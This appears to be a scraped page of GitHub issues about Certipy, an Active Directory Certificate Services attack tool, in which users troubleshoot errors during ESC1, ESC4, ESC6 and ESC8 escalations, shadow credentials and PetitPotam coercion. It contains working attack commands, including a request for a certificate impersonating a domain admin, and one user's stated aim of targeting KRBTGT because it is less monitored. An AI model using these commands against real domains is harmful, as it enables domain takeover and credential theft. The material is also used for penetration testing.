When I attempt to abuse ESC1 using a machine account which has enrollment rights via the domain group Domain Computers and a template which is vulernable, the attack first fails with "STSTATUS_OBJECT_NAME_NOT_FOUND" when Certipy attempts to find the required named pipe (cert?). After that the backup feature which attempts to identify dynamic endpoints kicks in but that also fails with "Failed to get dynamic TCP endpoint for CertSvc" and "NoneType object has no attribute 'request'".

What is strange is that abusing ESC8 against the same ADCS server works when authenticating using a DC's machine account I coerce using PetitPotam.py and specifying the template KerberosAuthentication. I get the certificate but when I then attempt to get the matching TGT and NT hash it seems the authentication against the DC fails. I get the error "ERR_CLIENT_NOT_TRUSTED". According to nmap against the same DC, services that requires TLS are configured to use certificates which are issued by the same CA that is configured on the ADCS server so it seems it is not the CA that is not trusted.

Any suggestions? Thanks!

ESC4 Shadow auto

Hi,

I run into the below problem when I run the following command:

certipy shadow auto 'xxxxxxxxxx.xxx.xx/xxxxxxxxx:[email protected]' -account 'xxxxxxxxxx' -debug
Certipy v2.0.9 - by Oliver Lyak (ly4k)
[+] Authenticating to LDAP server
[+] Bound to ldaps://xxx.xxx.xxx.xxx:636 - ssl
[+] Default path: DC=xxxxxxxxxx,DC=xxx,DC=xx
[+] Configuration path: CN=Configuration,DC=xxxxxxxxxx,DC=xxx,DC=xx
[] Targeting user 'xxxxxxxxxx$'
[
] Generating certificate
[-] Got error: [('asn1 encoding routines', 'ASN1_mbstring_ncopy', 'string too long')]
Traceback (most recent call last):
File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.9-py3.9.egg/certipy/entry.py", line 83, in main
actionsoptions.action
File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.9-py3.9.egg/certipy/shadow.py", line 436, in entry
actionsoptions.shadow_action
File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.9-py3.9.egg/certipy/shadow.py", line 185, in auto
result = self.add_new_key_credential(target_dn, user)
File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.9-py3.9.egg/certipy/shadow.py", line 128, in add_new_key_credential
cert, key_credential, device_id = self.generate_key_credential(
File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.9-py3.9.egg/certipy/shadow.py", line 104, in generate_key_credential
certificate = X509Certificate2(
File "/usr/local/lib/python3.9/dist-packages/dsinternals-1.2.4-py3.9.egg/dsinternals/common/cryptography/X509Certificate2.py", line 29, in init
self.certificate.get_subject().CN = subject
File "/usr/lib/python3/dist-packages/OpenSSL/crypto.py", line 612, in setattr
_raise_current_error()
File "/usr/lib/python3/dist-packages/OpenSSL/_util.py", line 57, in exception_from_error_queue
raise exception_type(errors)
OpenSSL.crypto.Error: [('asn1 encoding routines', 'ASN1_mbstring_ncopy', 'string too long')]

Cheers

Error "cannot import name 'tagMap' from 'pyasn1.codec.ber.encoder'"

Hi,

Today I attempted to try version 4.0.0 of your tool which looks very promising. However, I get the error below when trying to use it.

certipy1

Certipy is installed as per your instructions and I have no issues running your erlier versions of Certipy in the same VM.

Thanks for your help!

Help understanding limitations of "KDC_ERR_PADATA_TYPE_NOSUPP"

Hello!

Certipy has identified a number of templates in this environment vulnerable to ESC1. I've done:

certipy req 'victim.domain/[email protected]' -ca 'CA-NAME' -template 'VULNERABLETEMPLATE' -k -no-pass -alt '[email protected]'

I got a domainadmin.pfx and I'm ready to test it out.

When I do certipy auth -pfx domainadmin.pfx -dc-ip ip.of.domain.controller I get:

[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

Upon checking this repo's issues, I came across this one leading me to believe I can use this blog/tool to abuse this path via Linux, but from your blog it's my understanding that if the CA is fully patched, this is a dead end.

To further confuse me, this blog makes me think abuse still is possible, but this content looks to be specifically about abuse when you've obtained the cert for a domain controller (which I have not).

Would you point me in the right direction - just so I'm not chasing a dead end?

"UnboundLocalError: local variable 'tgt' referenced before assignment" error when requesting a TGT for the Kerberos account KRBTGT

Hi,

At the top of the below screenshot you can see a successful request for a certificate for the Kerberos account KRBTGT. However, when attempting to authenticate using that certificate in order to get the NT hash of the account, the error "UnboundLocalError: local variable 'tgt' referenced before assignment" occurs.

At the bottom of the screenshot you see the same but for the account Administrator which works.

It would be nice to be able to target the Kerberos account since that is typically less monitored and its password is typically rarely changed.

Thanks!

image

Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

So, i am trying to use the certipy to get the NTHASH of a domain user (in this case test user).

I am able to use the user's credentials to get a valid certificate:
image

When looking at the User's Published Certificates in the Active Directory user's properties:
image

Next, I am trying to get the NTHAsh of that user by using the following command and then i am getting the following error:
image

I don't have any resolving issues or communication issues:
image

any ideas?

ESC6 fails with "CERTSRV_E_SUBJECT_EMAIL_REQUIRED"

Hi,

Using Certipy 4.0.0 I attempt to execute the ESC6 attack but this fails with "CERTSRV_E_SUBJECT_EMAIL_REQUIRED". As far as I know this error is related to the certificate template not having "Supply in the request" enabled since not having that requires an e-mail address by default. However, since the CA has been configured with the flag "EDITF_ATTRIBUTESUBJECTALTNAME2", not having "Supply in the request" should not matter. Is that correct?

I have not configured e-mail addresses for my test accounts and that is also not required when creating them but this attack has worked before. As soon as I add an e-mail address to the account "domainuser1" using ADUC the attack works. Note that the DC and ADCS server was not patched after May 2022 at the time of this test.

Below you can see the command I use and the error:
esc6c

Below you can see that the CA is vulnerable to ESC6:
esc6a

Below you see the default configuration for the template ESC6 that I use in this test:
esc6b

Also, what is the error I can expect when I target patched servers?

certificate template is not supported by this CA

I see #51, you say "If you want to setup your DC for Kerberos authentication with certificates, you need to request the certificate template "Kerberos" for your DC computer account".

I try it
proxychains4 certipy req -dc-ip 192.168.1.2 "missyou.com/test1234$:[email protected]" -ca missyou-WIN-2012-CA-1 -template Kerberos -debug

but tips Error
"[-] Got error while trying to request certificate: code: 0x80094800 - CERTSRV_E_UNSUPPORTED_CERT_TYPE - The requested certificate template is not supported by this CA."

image

"argument of type 'NoneType' is not iterable" for enabled templates

Hi,

First of all, thanks for your awesome tool.
I'm trying to use it but I get the following error. Any idea on what could be going wrong ?

└─# 
Certipy v2.0.5 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[+] Authenticating to LDAP server
[+] Authenticating to LDAP server
[+] Bound to ldaps://192.168.x.x - ssl
[+] Default path: DC=domain,DC=local
[+] Configuration path: CN=Configuration,DC=domain,DC=local
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 2 certificate authorities
[-] Got error: argument of type 'NoneType' is not iterable
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.5-py3.9.egg/certipy/entry.py", line 62, in main
    actions[options.action](options)
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.5-py3.9.egg/certipy/find.py", line 734, in entry
    find.find()
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.5-py3.9.egg/certipy/find.py", line 145, in find
    if template.get("name") in templates:
TypeError: argument of type 'NoneType' is not iterable

Another command syntax question re "ESC1 - SAN impersonation" attack

Hi again,

I raised this issue and it was determined the certificate service was not running on my CA.

On a second CA in the same environment, Certipy identified it as being vulnerable to ESC1 - SAN impersonation attack. Specifically, Domain Computers can enroll. I used Powermad to create a "ghost" computer object. Then I used GetTGT from Impacket and issued export KRB5CCNAME=ghost-machine.cache.. I also verified with rpcdump that certsrv.exe is running.

Now I'm trying to run with Certipy is as follows:

certipy 'domain.com/[email protected] -debug -dc-ip IP.OF.DOMAIN.CONTROLLER -k -no-pass req -template 'TEMPLATE' -ca 'CA-NAME-AND-*NOT*-THE-DNS-NAME' -altname 'Administrator'

When I do, I basically get the same output as issue 19 with a long traceback that ends in:

impacket.smbconnection.SessionError: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)

Again, the difference this time around is I believe the certificate services are running so I'm not sure why my attempts are not successful. Could you please help?

Thanks,
Brian

certipy: error: unrecognized arguments

Hello,

I have cloned the repo using the command

git clone https://github.com/ly4k/Certipy.git

I then cd'd into the Certipy directory and ran the command

sudo python3 /path/to/Certipy/setup.py install

I am trying to execute the basic certipy find command and I am getting an error regarding unrecognized commands

The command that I am executing is:

certipy find "fqdn/user_samaccountname:password@domain_controller_fqdn_or_IPAddress"

After running the command I am getting the error message

Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy [-v] [-h] {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template} ...
certipy: error: unrecognized arguments: fqdn/user_samaccountname:password@domain_controller_fqdn_or_IPAddress

I have been to the blog post and read through it but no luck- https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6

All documentation that I am seeing is on version 2. Could this be a version 4 issue?

Thanks!

ModuleNotFoundError: No module named 'setuptools_rust'

CertiPy install works perfectly on any Kali VM, but when I try to install it on a Ubuntu 18.04 or CentOS 7 VM I get this error:

ModuleNotFoundError: No module named 'setuptools_rust'

Let me know if this is something known already, and if so - what is the fix?

Thanks!

error: SandboxViolation

error: Setup script exited with error: SandboxViolation: mkdir('/private/var/root/Library/Caches/com.apple.python/private/tmp/easy_install-qii5l5tu', 511) {}

Dumping the AD for import into Bloodhound fails using low priv. accounts in 2.0.4

I can successfully dump my AD for import into Bloodhound using 2.0.1 and a low .priv account.
dump_working

When I try this in 2.0.4 using the same low priv. account as above and the same AD this partially fails.
dump_failing

When I use the account domainadmin1 (high priv.) dumping works in 2.0.4.
dump_working2

Is all of this intentionally? If not something seems to have broken.

No Module Name certipy.entry

During the start of certipy below error appear . Any one help me out on this

Traceback (most recent call last):
File "/usr/local/bin/certipy", line 5, in
from certipy.entry import main
ModuleNotFoundError: No module named 'certipy.entry'

Distinguished Names longer than 64 characters breaks Shadow Credentials

When requesting Shadow Credentials, Certify will encode the user's DN in the Subject of the generated x509 certificate. According to standard, the Subject must not be longer than 64 characters. User accounts may be buried deep in the Domain and therefore their DN will be longer than 64 characters.

It is possible to get around this issue by using the SubjectAlternativeName field with the user's UPN as a DNS name.

It appears this issue is similar to others such as #62 however since the shadow.py functions utilise the dsinternal library the fixes do not work.

One janky workaround I have found is patching the __init__.py function in dsinternals/common/cryptography/X509Certificate2.py

...
extensions = []
san_list = ["DNS:[email protected]"]
extensions.append(OpenSSL.crypto.X509Extension(b'subjectAltName', False, ','.join(san_list).encode()))
self.certificate.add_extensions(extensions)
...

Request certificates for computer accounts (with SAN DNS instead of SAN UPN)

The usual way to exploit ESC1 is to request a certificate where the Subject Alternative Name is the UPN of the target user (e.g., a domain admin). Certipy request let's you specify this UPN with the -alt parameter.

However, sometimes it's useful to request a certificate for a computer account (e.g., a domain controller). Then, it's not possible to use a SAN UPN. Instead one has to use the SAN DNSName, which is not supported by Certipy request yet.

To request such a certificate, one could change attributes.append("SAN:upn=%s" % self.alt_name) to attributes.append("SAN:dns=%s" % self.alt_name) in request.py:

Probably it would be helpful to add this feature to Certipy. One option to implement this would be "automatically" setting the upn if there is an "@" in the alt.name and setting the dns otherwise. Another option would be a separate command line flag like --altdns - depending on how much control the user should have.

The certificate mapping based on SAN DNS also allows for client authentication. Thus, the resulting certificate can then be used by Certipy auth to retrieve a TGT and the NT hash of the computer account as shown with the ESC1 template of the wonderful GOAD AD:
Screenshot

References:
GOAD (Game Of Active Directory)
MS Documentation for Certificate Mapping based on DNSName

Unable to request certificate due to key archival

Any idea if there is a way around this or is the template not vulnerable if the private key is stored in AD?

[-] Got error while trying to request certificate: code: 0x80094804 - CERTSRV_E_ARCHIVED_KEY_REQUIRED - The request is missing a required private key for archival by the server.

[-] Received unknown error: (constraintViolation) 0000200B: AtrErr: DSID-033E0F1

Hello my brother, when using your tool to create a machine user remotely, an unknown error is reported

Certipy v3.0.0 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'DC01.test.local' at '192.168.160.139'
[+] Authenticating to LDAP server
[+] Bound to ldaps://192.168.160.139:636 - ssl
[+] Default path: DC=test,DC=local
[+] Configuration path: CN=Configuration,DC=test,DC=local
[*] Creating new account:
sAMAccountName : JACK-PC1$
unicodePwd : LUCFG2bR2ARmhtkE
userAccountControl : 4096
servicePrincipalName : HOST/JACK-PC1
RestrictedKrbHost/JACK-PC1
dnsHostName : 'DC01.test.local'
[-] Received unknown error: (constraintViolation) 0000200B: AtrErr: DSID-033E0F1
B, #1:
0: 0000200B: DSID-033E0F1B, problem 1005 (CONSTRAINT_ATT_TYPE), data 0,
Att 9026b (dNSHostName)

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.